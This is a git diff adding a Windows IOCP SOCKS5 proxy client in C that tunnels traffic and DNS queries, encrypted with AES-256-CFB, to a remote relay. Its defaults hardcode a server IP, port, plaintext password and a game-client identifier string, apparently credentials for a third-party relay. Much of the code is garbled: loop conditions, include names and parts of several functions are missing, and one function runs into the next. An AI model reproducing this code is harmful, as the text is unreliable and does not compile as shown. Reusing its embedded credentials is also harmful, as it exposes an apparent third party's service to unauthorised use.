diff --git a/cpp/CMakeLists.txt b/cpp/CMakeLists.txt new file mode 100644 index 0000000..3a47f1d --- /dev/null +++ b/cpp/CMakeLists.txt @@ -0,0 +1,22 @@ +cmake_minimum_required(VERSION 3.20) +project(ss_socks5_client C) + +set(CMAKE_C_STANDARD 11) +if (MSVC) + add_compile_options(/O2 /GL /permissive- /Zc:inline /W4) + add_definitions(-D_CRT_SECURE_NO_WARNINGS -D_WIN32_WINNT=0x0A00) +else() + add_compile_options(-O3 -march=native -DNDEBUG -Wall -Wextra) +endif() + +find_package(OpenSSL REQUIRED) +find_package(PkgConfig REQUIRED) +pkg_check_modules(LIBEVENT REQUIRED libevent) + +add_executable(ss_socks5_client ss_socks5_client.c) +target_include_directories(ss_socks5_client PRIVATE ${LIBEVENT_INCLUDE_DIRS}) +target_link_libraries(ss_socks5_client PRIVATE ${LIBEVENT_LIBRARIES} OpenSSL::Crypto) + +if (WIN32) + target_link_libraries(ss_socks5_client PRIVATE ws2_32) +endif() diff --git a/cpp/iocp_s5.c b/cpp/iocp_s5.c new file mode 100644 index 0000000..13fd7d5 --- /dev/null +++ b/cpp/iocp_s5.c @@ -0,0 +1,850 @@ +// iocp_s5.c -- single-file, WinSock IOCP + CNG(AES-256-CFB) + DNS-over-tunnel +// Build: cl /nologo /O2 /DNDEBUG /MT /utf-8 iocp_s5.c /link /MACHINE:X64 /OPT:REF /OPT:ICF ws2_32.lib mswsock.lib bcrypt.lib + +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") +#pragma comment(lib, "mswsock.lib") +#pragma comment(lib, "bcrypt.lib") + +//===================== Config ===================== + +typedef struct { + char remote_host[64]; + int remote_port; + char password[64]; + char mx_head[128]; + char listen_host[32]; + int listen_port; + int recv_buf; + int connect_timeout_sec; + int udp_timeout_sec; + int verbose; + int dns_on; // 1=enable DNS over tunnel for domain CONNECT +} config_t; + +static void config_default(config_t* c){ + memset(c,0,sizeof(*c)); + strcpy(c->remote_host, "121.14.152.149"); + c->remote_port = 10004; + strcpy(c->password, "dwz1GtF7"); + strcpy(c->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279"); + strcpy(c->listen_host, "0.0.0.0"); + c->listen_port = 10807; + c->recv_buf = 8192; + c->connect_timeout_sec = 10; + c->udp_timeout_sec = 180; + c->verbose = 1; + c->dns_on = 1; +} + +static void parse_args(int argc, char** argv, config_t* c){ + config_default(c); + for (int i=1;iremote_host, argv[++i], sizeof(c->remote_host)-1); } + else if (!strcmp(argv[i],"--remote-port") && i+1remote_port = atoi(argv[++i]); } + else if (!strcmp(argv[i],"--password") && i+1password, argv[++i], sizeof(c->password)-1); } + else if (!strcmp(argv[i],"--mx") && i+1mx_head, argv[++i], sizeof(c->mx_head)-1); } + else if (!strcmp(argv[i],"--listen") && i+1listen_host, argv[++i], sizeof(c->listen_host)-1); } + else if (!strcmp(argv[i],"--port") && i+1listen_port = atoi(argv[++i]); } + else if (!strcmp(argv[i],"--recv-buf") && i+1recv_buf = atoi(argv[++i]); } + else if (!strcmp(argv[i],"--connect-timeout") && i+1connect_timeout_sec = atoi(argv[++i]); } + else if (!strcmp(argv[i],"--udp-timeout") && i+1udp_timeout_sec = atoi(argv[++i]); } + else if (!strcmp(argv[i],"--verbose") && i+1verbose = atoi(argv[++i]); } + else if (!strcmp(argv[i],"--dns-on") && i+1dns_on = atoi(argv[++i]); } + } +} + +//===================== Log ===================== + +static DWORD g_main_tid = 0; +static int g_verbose = 1; + +static uint64_t now_ms(){ + FILETIME ft; GetSystemTimeAsFileTime(&ft); + ULARGE_INTEGER u; u.LowPart=ft.dwLowDateTime; u.HighPart=ft.dwHighDateTime; + return (u.QuadPart/10000ULL); +} +static void logv(char lv, const char* fmt, ...){ + if (lv=='D' && !g_verbose) return; + va_list ap; va_start(ap, fmt); + SYSTEMTIME st; GetLocalTime(&st); + DWORD tid = GetCurrentThreadId(); + char buf[1024]; + int n = vsnprintf(buf,sizeof(buf),fmt,ap); + va_end(ap); + if (n<0) n=0; if (n> (int)sizeof(buf)-1) n=(int)sizeof(buf)-1; + printf("[%02d:%02d:%02d.%03d][%c][T%u] %s\n", + st.wHour,st.wMinute,st.wSecond,st.wMilliseconds, lv, (unsigned)tid, buf); + fflush(stdout); +} + +//===================== Helpers ===================== + +static bool resolve_host_port(const char* host, uint16_t port, struct sockaddr_storage* ss, int* slen){ + struct addrinfo hints = {0}, *res=NULL; + char pbuf[8]; _snprintf_s(pbuf, sizeof(pbuf), _TRUNCATE, "%u", (unsigned)port); + hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; + if (getaddrinfo(host,pbuf,&hints,&res)!=0 || !res){ + if (res) freeaddrinfo(res); + return false; + } + memcpy(ss, res->ai_addr, res->ai_addrlen); + *slen = (int)res->ai_addrlen; + freeaddrinfo(res); + return true; +} + +static int host_literal_ip(const char* host, uint8_t* packed16, size_t* plen){ + struct in_addr a4; struct in6_addr a6; + if (InetPtonA(AF_INET, host, &a4)==1){ memcpy(packed16,&a4,4); *plen=4; return AF_INET; } + if (InetPtonA(AF_INET6, host, &a6)==1){ memcpy(packed16,&a6,16); *plen=16; return AF_INET6; } + return 0; +} + +//===================== KDF: EVP_BytesToKey(md5) 32B ===================== + +static bool md5_once(const uint8_t* in, DWORD inlen, uint8_t out16[16]){ + BCRYPT_ALG_HANDLE hAlg=NULL; BCRYPT_HASH_HANDLE hHash=NULL; + NTSTATUS s=BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_MD5_ALGORITHM, NULL, 0); if (s) return false; + s=BCryptCreateHash(hAlg, &hHash, NULL, 0, NULL, 0, 0); if (s){ BCryptCloseAlgorithmProvider(hAlg,0); return false; } + s=BCryptHashData(hHash, (PUCHAR)in, inlen, 0); if (s){ BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg,0); return false; } + s=BCryptFinishHash(hHash, out16, 16, 0); + BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg,0); + return s==0; +} +static bool kdf_key32_from_password(const char* pw, uint8_t out32[32]){ + uint8_t h1[16], h2[16]; + if (!md5_once((const uint8_t*)pw, (DWORD)strlen(pw), h1)) return false; + uint8_t tmp[16+64]; memcpy(tmp,h1,16); memcpy(tmp+16,pw,strlen(pw)); + if (!md5_once(tmp, (DWORD)(16+strlen(pw)), h2)) return false; + memcpy(out32,h1,16); memcpy(out32+16,h2,16); + return true; +} + +//===================== AES-256-CFB via CNG ===================== + +typedef struct { + BCRYPT_ALG_HANDLE hAlg; + BCRYPT_KEY_HANDLE hKey; + uint8_t iv[16]; // updated in place per call + uint8_t key[32]; + BOOL is_enc; // 1=encrypt, 0=decrypt + BOOL init_ok; +} cfb_ctx_t; + +static bool cfb_init(cfb_ctx_t* c, const uint8_t key[32], const uint8_t iv16[16], BOOL enc){ + memset(c,0,sizeof(*c)); + memcpy(c->key, key, 32); + memcpy(c->iv, iv16, 16); + c->is_enc = enc; + + NTSTATUS s=BCryptOpenAlgorithmProvider(&c->hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); + if (s){ logv('E',"BCryptOpenAlgorithmProvider AES failed: 0x%08X", s); return false; } + + s=BCryptSetProperty(c->hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CFB, (ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB), 0); + if (s){ logv('E',"Set ChainingModeCFB failed: 0x%08X", s); BCryptCloseAlgorithmProvider(c->hAlg,0); return false; } + + s=BCryptGenerateSymmetricKey(c->hAlg, &c->hKey, NULL, 0, (PUCHAR)c->key, 32, 0); + if (s){ logv('E',"GenerateSymmetricKey failed: 0x%08X", s); BCryptCloseAlgorithmProvider(c->hAlg,0); return false; } + + c->init_ok = TRUE; + return true; +} +static void cfb_free(cfb_ctx_t* c){ + if (c->hKey){ BCryptDestroyKey(c->hKey); c->hKey=NULL; } + if (c->hAlg){ BCryptCloseAlgorithmProvider(c->hAlg,0); c->hAlg=NULL; } + c->init_ok=FALSE; +} + +// in==out allowed? 为安全起见用不同 buffer(上层已分配) +static bool cfb_update(cfb_ctx_t* c, const uint8_t* in, DWORD inlen, uint8_t* out, DWORD* outlen){ + if (!c->init_ok) return false; + ULONG cb=0; NTSTATUS s; + if (c->is_enc) + s=BCryptEncrypt(c->hKey,(PUCHAR)in,inlen,NULL,(PUCHAR)c->iv,16,(PUCHAR)out,inlen,&cb,0); + else + s=BCryptDecrypt(c->hKey,(PUCHAR)in,inlen,NULL,(PUCHAR)c->iv,16,(PUCHAR)out,inlen,&cb,0); + if (s){ logv('E',"CFB update failed 0x%08X", s); return false; } + *outlen = cb; + return true; +} + +//===================== DNS minimal ===================== + +static int dns_build_query_a(const char* host, uint8_t* out, size_t cap, size_t* outlen){ + if (!host || !out || cap<12) return -1; + uint16_t id = (uint16_t)rand(); + size_t off=0; + if (cap<12) return -1; + *(uint16_t*)(out+off) = htons(id); off+=2; + *(uint16_t*)(out+off) = htons(0x0100); off+=2; // rd + *(uint16_t*)(out+off) = htons(1); off+=2; // qdcount + *(uint16_t*)(out+off) = 0; off+=2; // an + *(uint16_t*)(out+off) = 0; off+=2; // ns + *(uint16_t*)(out+off) = 0; off+=2; // ar + // qname + const char* p=host; + while (*p){ + const char* dot = strchr(p,'.'); + size_t lab = dot ? (size_t)(dot-p) : strlen(p); + if (lab==0 || lab>63) return -1; + if (off+1+lab>=cap) return -1; + out[off++] = (uint8_t)lab; + memcpy(out+off, p, lab); off+=lab; + if (!dot) break; + p = dot+1; + } + if (off+1+4>cap) return -1; + out[off++] = 0; + *(uint16_t*)(out+off) = htons(1); off+=2; // QTYPE A + *(uint16_t*)(out+off) = htons(1); off+=2; // QCLASS IN + *outlen = off; + return 0; +} +static int dns_skip_name(const uint8_t* b,size_t len,size_t* off){ + size_t i=*off; + while (i=len) return -1; i++; break; } + else if (c==0){ break; } + else { if (i+c>len) return -1; i+=c; } + } + *off=i; return 0; +} +static int dns_parse_a_ip(const uint8_t* b,size_t len,char ip[16]){ + if (len<12) return -1; + uint16_t qd = ntohs(*(uint16_t*)(b+4)); + uint16_t an = ntohs(*(uint16_t*)(b+6)); + size_t off=12; + for (uint16_t i=0;ilen) return -1; off+=4; } + for (uint16_t i=0;ilen) return -1; + uint16_t type = ntohs(*(uint16_t*)(b+off)); off+=2; + uint16_t cls = ntohs(*(uint16_t*)(b+off)); off+=2; + off+=4; // ttl + uint16_t rdlen= ntohs(*(uint16_t*)(b+off)); off+=2; + if (off+rdlen>len) return -1; + if (type==1 && cls==1 && rdlen==4){ + const struct in_addr* a4=(const struct in_addr*)(b+off); + inet_ntop(AF_INET, a4, ip, 16); + return 0; + } + off+=rdlen; + } + return -1; +} + +//===================== protocol: encode_addr ===================== +// tcp=true : first byte 'a'(0x61)/'c'(0x63)/'d'(0x64) +// tcp=false: first byte 0x01/0x03/0x04 +static size_t encode_addr_block(bool tcp, uint8_t atyp, const char* host, uint16_t port, uint8_t* out, size_t cap){ + uint8_t* p=out; size_t left=cap; + uint8_t packed[16]; size_t plen=0; + int afip = host_literal_ip(host,packed,&plen); + + if (tcp){ + if (afip==AF_INET && atyp==0x01){ if (left<1+4+2) return 0; *p++=0x61; memcpy(p,packed,4); p+=4; } + else if (afip==AF_INET6 && atyp==0x04){ if (left<1+16+2) return 0; *p++=0x64; memcpy(p,packed,16); p+=16; } + else if (atyp==0x03){ + size_t L=strlen(host); if (L>255) return 0; + if (left<1+1+L+2) return 0; + *p++=0x63; *p++=(uint8_t)L; memcpy(p,host,L); p+=L; + } else return 0; + }else{ + if (afip==AF_INET && atyp==0x01){ if (left<1+4+2) return 0; *p++=0x01; memcpy(p,packed,4); p+=4; } + else if (afip==AF_INET6 && atyp==0x04){ if (left<1+16+2) return 0; *p++=0x04; memcpy(p,packed,16); p+=16; } + else if (atyp==0x03){ + size_t L=strlen(host); if (L>255) return 0; + if (left<1+1+L+2) return 0; + *p++=0x03; *p++=(uint8_t)L; memcpy(p,host,L); p+=L; + } else return 0; + } + uint16_t np = htons(port); + memcpy(p,&np,2); p+=2; + return (size_t)(p - out); +} + +//===================== IOCP Types ===================== + +typedef enum { OP_NONE=0, OP_CLI_RECV, OP_CLI_SEND, OP_SRV_RECV, OP_SRV_SEND, OP_CONNECT } opkind_t; + +typedef struct iocp_op_s { + OVERLAPPED ov; + WSABUF buf; + opkind_t kind; + char storage[1]; // flexible for debugging +} iocp_op_t; + +static iocp_op_t* op_alloc(opkind_t k, DWORD cap){ + iocp_op_t* op = (iocp_op_t*)calloc(1, sizeof(iocp_op_t) + (cap?cap-1:0)); + op->kind = k; op->buf.buf = cap? op->storage : NULL; op->buf.len = cap; + return op; +} +static void op_free(iocp_op_t* op){ free(op); } + +//===================== Bridge ===================== + +typedef struct { + SOCKET s_cli, s_srv; + HANDLE iocp; + config_t* cfg; + + // ConnectEx + LPFN_CONNECTEX pConnectEx; + + // state + enum { ST_GREETING=0, ST_REQUEST=1, ST_CONNECTING=2, ST_STREAM=3, ST_CLOSED=4 } st; + + // SOCKS5 request + uint8_t req_cmd, req_atyp; + char req_host[128]; + uint16_t req_port; + + // crypto + uint8_t key32[32]; + uint8_t iv_up[16]; // client->server: sent once at beginning + cfb_ctx_t c_up; // encryptor (iv_up evolves in place) + BOOL up_inited; + uint8_t iv_dn[16]; // server->client: received once from remote + size_t ivdn_have; // bytes collected for dn iv + cfb_ctx_t c_dn; // decryptor + BOOL dn_inited; + + LONG pending_ops; // refcnt-like + BOOL closing; + + // buffers + DWORD recv_cap; + +} bridge_t; + +static void bridge_start_close(bridge_t* b); + +//============= small utils ============= + +static void rand_bytes(uint8_t* p, size_t n){ + for (size_t i=0;i127?127:L; memcpy(host,in+off,cp); host[cp]=0; + off+=L; *pport = ntohs(*(uint16_t*)(in+off)); off+=2; + }else if (*patyp==0x04){ + if (inlen255) L=255; *p++=0x03; *p++=(uint8_t)L; memcpy(p,bind_host,L); p+=L; } + uint16_t np = htons(bind_port); memcpy(p,&np,2); p+=2; + DWORD sent=0; WSASend(s, (WSABUF*)&(WSABUF){ .buf=(CHAR*)out, .len=(ULONG)(p-out) }, 1, &sent, 0, NULL, NULL); +} + +//===================== GQCS loop ===================== + +typedef struct { + HANDLE iocp; + config_t* cfg; +} worker_arg_t; + +static void post_recv(bridge_t* b, SOCKET s, opkind_t kind){ + iocp_op_t* op=op_alloc(kind, b->recv_cap); + InterlockedIncrement(&b->pending_ops); + DWORD fl=0; DWORD recvd=0; + int rc = WSARecv(s, &op->buf, 1, &recvd, &fl, &op->ov, NULL); + if (rc==SOCKET_ERROR){ + int e=WSAGetLastError(); + if (e!=WSA_IO_PENDING){ + logv('E',"WSARecv immediate fail e=%d", e); + InterlockedDecrement(&b->pending_ops); + op_free(op); + bridge_start_close(b); + }else{ + if (g_verbose) logv('D',"post RECV kind=%d cap=%u (pending_ops=%ld)", kind, op->buf.len, b->pending_ops); + } + } +} +static void post_send(bridge_t* b, SOCKET s, const void* data, DWORD len, opkind_t kind){ + iocp_op_t* op=op_alloc(kind, len); + memcpy(op->buf.buf, data, len); + op->buf.len=len; + InterlockedIncrement(&b->pending_ops); + DWORD sent=0; + int rc=WSASend(s, &op->buf, 1, &sent, 0, &op->ov, NULL); + if (rc==SOCKET_ERROR){ + int e=WSAGetLastError(); + if (e!=WSA_IO_PENDING){ + logv('E',"WSASend immediate fail e=%d", e); + InterlockedDecrement(&b->pending_ops); + op_free(op); + bridge_start_close(b); + }else{ + if (g_verbose) logv('D',"post SEND kind=%d len=%u (pending_ops=%ld)", kind, len, b->pending_ops); + } + } +} + +static void after_remote_connected(bridge_t* b){ + // 1) 生成上行IV并初始化加密流 + rand_bytes(b->iv_up, 16); + if (!cfb_init(&b->c_up, b->key32, b->iv_up, TRUE)){ bridge_start_close(b); return; } + b->up_inited=TRUE; + + // 2) 组首包:encode_addr(tcp=true) + MX + uint8_t addr[256]; size_t alen = encode_addr_block(true, b->req_atyp, b->req_host, b->req_port, addr, sizeof(addr)); + if (!alen){ logv('E',"encode_addr(tcp) failed"); bridge_start_close(b); return; } + + size_t mxL = strlen(b->cfg->mx_head); if (mxL>255) mxL=255; + uint8_t plain[256+1+255]; memcpy(plain, addr, alen); plain[alen]=(uint8_t)mxL; memcpy(plain+alen+1, b->cfg->mx_head, mxL); + DWORD plain_len = (DWORD)(alen + 1 + mxL); + + // 3) 加密首包(不含 IV) + uint8_t ct[512]; DWORD ctlen=0; + if (!cfb_update(&b->c_up, plain, plain_len, ct, &ctlen)){ bridge_start_close(b); return; } + + // 4) 发送:IV + CT + uint8_t out[16+512]; memcpy(out, b->iv_up, 16); memcpy(out+16, ct, ctlen); + post_send(b, b->s_srv, out, 16+ctlen, OP_SRV_SEND); + + // 5) 给客户端回复 OK,并进入流转发 + s5_reply(b->s_cli, 0x00, "0.0.0.0", 0); + b->st = ST_STREAM; + + // 6) 分别贴上读取 + post_recv(b, b->s_cli, OP_CLI_RECV); + post_recv(b, b->s_srv, OP_SRV_RECV); + + logv('I',"enter STREAM (+posted cli/srv recv)"); +} + +//===================== DNS over tunnel (UDP) ===================== + +static bool dns_over_tunnel_query(const config_t* cfg, const uint8_t key32[32], const char* host, char out_ip[16]){ + // 明文: encode_addr(tcp=false) to 8.8.8.8:53 + DNS query + uint8_t addr[64]; size_t alen = encode_addr_block(false, 0x01, "8.8.8.8", 53, addr, sizeof(addr)); + if (!alen) return false; + + uint8_t q[512]; size_t qlen=0; + if (dns_build_query_a(host, q, sizeof(q), &qlen)!=0) return false; + + uint8_t plain[800]; if (alen+qlen>sizeof(plain)) return false; + memcpy(plain, addr, alen); memcpy(plain+alen, q, qlen); + uint8_t iv[16]; rand_bytes(iv,16); + cfb_ctx_t enc; if (!cfb_init(&enc, key32, iv, TRUE)) return false; + uint8_t ct[800]; DWORD ctlen=0; + bool ok = cfb_update(&enc, plain, (DWORD)(alen+qlen), ct, &ctlen); + cfb_free(&enc); if (!ok) return false; + + uint8_t out[16+800]; memcpy(out, iv,16); memcpy(out+16, ct, ctlen); + // UDP sendto + SOCKET su = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL,0,0); + if (su==INVALID_SOCKET) return false; + + struct sockaddr_storage rs; int rslen=0; + if (!resolve_host_port(cfg->remote_host, (uint16_t)cfg->remote_port, &rs, &rslen)){ closesocket(su); return false; } + + DWORD to=2000; setsockopt(su, SOL_SOCKET, SO_RCVTIMEO, (const char*)&to, sizeof(to)); + + int sn = sendto(su, (const char*)out, (int)(16+ctlen), 0, (struct sockaddr*)&rs, rslen); + if (sn<=0){ closesocket(su); return false; } + + uint8_t buf[1200]; + struct sockaddr_storage from; int fromlen=sizeof(from); + int rn = recvfrom(su, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &fromlen); + closesocket(su); + if (rn<16) return false; + + cfb_ctx_t dec; if (!cfb_init(&dec, key32, buf, FALSE)) return false; + uint8_t plain2[1200]; DWORD p2=0; + ok = cfb_update(&dec, buf+16, rn-16, plain2, &p2); + cfb_free(&dec); + if (!ok || p2==0) return false; + + // 跳过 addr 块 + size_t off=0; + uint8_t first = plain2[0]; + if (first==0x01){ off = 1+4+2; } + else if (first==0x03){ if (p2<2) return false; uint8_t L=plain2[1]; off = 1+1+L+2; if (off>p2) return false; } + else if (first==0x04){ off = 1+16+2; } + else return false; + if (off>=p2) return false; + + return dns_parse_a_ip(plain2+off, p2-off, out_ip)==0; +} + +//===================== ConnectEx helper ===================== + +static bool load_connectex(SOCKET s, LPFN_CONNECTEX* pOut){ + GUID g = WSAID_CONNECTEX; DWORD bytes=0; + int rc = WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g, sizeof(g), pOut, sizeof(*pOut), &bytes, NULL, NULL); + return rc==0 && *pOut!=NULL; +} +static bool bridge_connect_remote(bridge_t* b){ + // 建 srv socket & 绑定本地 + b->s_srv = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); + if (b->s_srv==INVALID_SOCKET){ logv('E',"WSASocket srv fail %d", WSAGetLastError()); return false; } + CreateIoCompletionPort((HANDLE)b->s_srv, b->iocp, (ULONG_PTR)b, 0); + + SOCKADDR_STORAGE local; int llen=0; + // 绑定任意本地 + struct sockaddr_in sin={0}; sin.sin_family=AF_INET; sin.sin_addr.s_addr=0; sin.sin_port=0; + if (bind(b->s_srv, (struct sockaddr*)&sin, sizeof(sin))!=0){ + logv('E',"bind srv fail %d", WSAGetLastError()); return false; + } + + if (!load_connectex(b->s_srv, &b->pConnectEx)){ logv('E',"load ConnectEx fail"); return false; } + + SOCKADDR_STORAGE rs; int rslen=0; + if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, &rs, &rslen)){ + logv('E',"resolve remote fail"); + return false; + } + + iocp_op_t* op = op_alloc(OP_CONNECT, 0); + InterlockedIncrement(&b->pending_ops); + + BOOL ok = b->pConnectEx(b->s_srv, (SOCKADDR*)&rs, rslen, NULL, 0, NULL, &op->ov); + if (!ok){ + int e=WSAGetLastError(); + if (e!=ERROR_IO_PENDING){ + logv('E',"ConnectEx immediate fail %d", e); + InterlockedDecrement(&b->pending_ops); + op_free(op); + return false; + } + } + logv('I',"ConnectEx to remote server %s:%d", b->cfg->remote_host, b->cfg->remote_port); + return true; +} + +//===================== Close ===================== + +static void bridge_free(bridge_t* b){ + if (!b) return; + if (b->s_cli!=INVALID_SOCKET){ closesocket(b->s_cli); b->s_cli=INVALID_SOCKET; } + if (b->s_srv!=INVALID_SOCKET){ closesocket(b->s_srv); b->s_srv=INVALID_SOCKET; } + if (b->up_inited){ cfb_free(&b->c_up); b->up_inited=FALSE; } + if (b->dn_inited){ cfb_free(&b->c_dn); b->dn_inited=FALSE; } + free(b); +} +static void bridge_start_close(bridge_t* b){ + if (b->closing) return; + b->closing=TRUE; + logv('I',"bridge %p start_close (pending_ops=%ld)", b, b->pending_ops); + shutdown(b->s_srv, SD_BOTH); + shutdown(b->s_cli, SD_BOTH); +} + +//===================== Worker (GQCS) ===================== + +static void handle_cli_data(bridge_t* b, const uint8_t* data, DWORD n){ + if (b->st!=ST_STREAM) return; + if (!b->up_inited){ logv('E',"up cipher not ready"); bridge_start_close(b); return; } + + // 加密并发给远端(不再发送IV) + uint8_t* out = (uint8_t*)malloc(n); + DWORD m=0; if (!cfb_update(&b->c_up, data, n, out, &m)){ free(out); bridge_start_close(b); return; } + if (g_verbose) logv('D',"STREAM up: in=%u enc=%u", n, m); + post_send(b, b->s_srv, out, m, OP_SRV_SEND); + free(out); +} + +static void handle_srv_data(bridge_t* b, uint8_t* data, DWORD n){ + DWORD off=0; + // 下行首次收到时,先收满 16B IV + if (!b->dn_inited){ + DWORD need = (DWORD)(16 - b->ivdn_have); + if (n < need){ + memcpy(b->iv_dn + b->ivdn_have, data, n); + b->ivdn_have += n; + return; + }else{ + // 完成 IV 收集 + memcpy(b->iv_dn + b->ivdn_have, data, need); + b->ivdn_have = 16; + off = need; + if (!cfb_init(&b->c_dn, b->key32, b->iv_dn, FALSE)){ bridge_start_close(b); return; } + b->dn_inited=TRUE; + logv('I',"downstream IV received"); + } + } + if (off < n){ + uint8_t* out=(uint8_t*)malloc(n - off); + DWORD m=0; + if (!cfb_update(&b->c_dn, data+off, n-off, out, &m)){ free(out); bridge_start_close(b); return; } + if (g_verbose) logv('D',"STREAM down: in=%u dec=%u", n-off, m); + post_send(b, b->s_cli, out, m, OP_CLI_SEND); + free(out); + } +} + +static DWORD WINAPI worker_thread(LPVOID arg_){ + worker_arg_t* arg=(worker_arg_t*)arg_; + HANDLE iocp=arg->iocp; + for (;;){ + DWORD bytes=0; ULONG_PTR key=0; OVERLAPPED* pov=NULL; + BOOL ok = GetQueuedCompletionStatus(iocp, &bytes, &key, &pov, INFINITE); + bridge_t* b=(bridge_t*)key; + iocp_op_t* op = (iocp_op_t*)pov; + if (!pov){ // shutdown signal? + break; + } + if (!ok){ + DWORD gle=GetLastError(); + // 某些取消/超时也会走这里 + // 统一当作该 op 完成,交给状态机关闭 + } + + if (op->kind==OP_CLI_RECV){ + if (g_verbose) logv('D',"GQCS: CLI_RECV %u bytes", bytes); + if (bytes==0){ // 客户端关闭 + InterlockedDecrement(&b->pending_ops); + op_free(op); + bridge_start_close(b); + continue; + } + + // 状态机:GREETING 或 REQUEST 或 STREAM + if (b->st==ST_GREETING){ + DWORD need=0; + if (!s5_greeting((uint8_t*)op->buf.buf, bytes, &need)){ + // 不足,理论上应缓存;这里简单化,认为一次收齐(curl等会在一个包里) + if (bytes<2){ // 再贴收 + post_recv(b, b->s_cli, OP_CLI_RECV); + InterlockedDecrement(&b->pending_ops); op_free(op); + continue; + } + logv('E',"S5 greeting malformed"); + InterlockedDecrement(&b->pending_ops); op_free(op); + bridge_start_close(b); + continue; + } + // 丢掉 greeting,并回 05 00 + uint8_t ok2[2]={0x05,0x00}; + post_send(b, b->s_cli, ok2, 2, OP_CLI_SEND); + if (g_verbose) logv('I',"S5 greeting ok"); + b->st = ST_REQUEST; + // 再收 request + post_recv(b, b->s_cli, OP_CLI_RECV); + InterlockedDecrement(&b->pending_ops); op_free(op); + continue; + + }else if (b->st==ST_REQUEST){ + uint8_t cmd,atyp; char host[128]; uint16_t port=0; DWORD used=0; + int r = s5_parse_request((uint8_t*)op->buf.buf, bytes, &cmd,&atyp,host,&port,&used); + if (r<=0){ + // 继续收 + post_recv(b, b->s_cli, OP_CLI_RECV); + InterlockedDecrement(&b->pending_ops); op_free(op); + continue; + } + b->req_cmd=cmd; b->req_atyp=atyp; strncpy(b->req_host,host,127); b->req_port=port; + if (g_verbose) logv('I',"S5 request cmd=0x%02X atyp=0x%02X host=%s port=%u", cmd,atyp,host,port); + + if (cmd==0x01){ // CONNECT + // 先派生密钥 + if (!kdf_key32_from_password(b->cfg->password, b->key32)){ + logv('E',"KDF failed"); bridge_start_close(b); + InterlockedDecrement(&b->pending_ops); op_free(op); continue; + } + + // 如果是域名且启用 DNS over tunnel,先尝试查询 A + if (b->cfg->dns_on && atyp==0x03){ + char ip[16]={0}; + if (dns_over_tunnel_query(b->cfg, b->key32, host, ip)){ + strncpy(b->req_host, ip, 127); b->req_atyp = 0x01; + logv('I',"DOT result %s -> %s", host, ip); + }else{ + logv('W',"DOT fail, fallback to remote resolve (keep domain)"); + } + } + + // 连接远端中继 + if (!bridge_connect_remote(b)){ + s5_reply(b->s_cli, 0x05, "0.0.0.0", 0); + bridge_start_close(b); + InterlockedDecrement(&b->pending_ops); op_free(op); continue; + } + b->st = ST_CONNECTING; + + }else if (cmd==0x03){ + // UDP ASSOC(此版本先不实现 SOCKS UDP 转发,只回 OK,防吞包) + s5_reply(b->s_cli, 0x00, "0.0.0.0", 0); + }else{ + s5_reply(b->s_cli, 0x07, "0.0.0.0", 0); + bridge_start_close(b); + } + InterlockedDecrement(&b->pending_ops); op_free(op); + continue; + + }else if (b->st==ST_STREAM){ + handle_cli_data(b, (uint8_t*)op->buf.buf, bytes); + // 继续收客户端 + post_recv(b, b->s_cli, OP_CLI_RECV); + InterlockedDecrement(&b->pending_ops); op_free(op); + continue; + } + + // 其它状态 + InterlockedDecrement(&b->pending_ops); op_free(op); + + }else if (op->kind==OP_SRV_RECV){ + if (g_verbose) logv('D',"GQCS: SRV_RECV %u bytes", bytes); + if (bytes==0){ + InterlockedDecrement(&b->pending_ops); + op_free(op); + bridge_start_close(b); + continue; + } + handle_srv_data(b, (uint8_t*)op->buf.buf, bytes); + // 继续收远端 + post_recv(b, b->s_srv, OP_SRV_RECV); + InterlockedDecrement(&b->pending_ops); op_free(op); + + }else if (op->kind==OP_CLI_SEND || op->kind==OP_SRV_SEND){ + if (g_verbose) logv('D',"GQCS: %s %u bytes", op->kind==OP_CLI_SEND?"CLI_SEND":"SRV_SEND", bytes); + InterlockedDecrement(&b->pending_ops); op_free(op); + + }else if (op->kind==OP_CONNECT){ + DWORD gle = 0; + BOOL ok2 = WSAGetOverlappedResult(b->s_srv, &op->ov, &bytes, FALSE, &gle); + if (!ok2){ + logv('E',"ConnectEx complete err gle=%u", gle); + s5_reply(b->s_cli, 0x05, "0.0.0.0", 0); + InterlockedDecrement(&b->pending_ops); op_free(op); + bridge_start_close(b); continue; + } + // 必须调用 setsockopt/更新为连接态 + setsockopt(b->s_srv, IPPROTO_TCP, TCP_NODELAY, (const char*)&(int){1}, sizeof(int)); + // 将 socket 转换为连接态(微软文档:ConnectEx 完成后需调用 setsockopt 或 WSAIoctl SIO_KEEPALIVE_VALS/或者调用 getsockname 等) + struct sockaddr_in name; int namelen=sizeof(name); + getsockname(b->s_srv,(struct sockaddr*)&name,&namelen); + + if (g_verbose) logv('I',"ConnectEx completed ok=1 gle=0"); + InterlockedDecrement(&b->pending_ops); op_free(op); + + after_remote_connected(b); + } + + // 统一关闭判定 + if (b->closing && InterlockedCompareExchange(&b->pending_ops,0,0)==0){ + logv('I',"bridge %p free", b); + bridge_free(b); + } + } + return 0; +} + +//===================== Accept loop ===================== + +static DWORD WINAPI accept_loop(LPVOID arg_){ + worker_arg_t* wa=(worker_arg_t*)arg_; + config_t* cfg = wa->cfg; + + SOCKET ls = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,0, WSA_FLAG_OVERLAPPED); + if (ls==INVALID_SOCKET){ logv('E',"listen socket fail %d", WSAGetLastError()); return 1; } + + struct sockaddr_in sin={0}; sin.sin_family=AF_INET; sin.sin_port=htons((u_short)cfg->listen_port); + InetPtonA(AF_INET, cfg->listen_host, &sin.sin_addr); + if (bind(ls,(struct sockaddr*)&sin,sizeof(sin))!=0){ 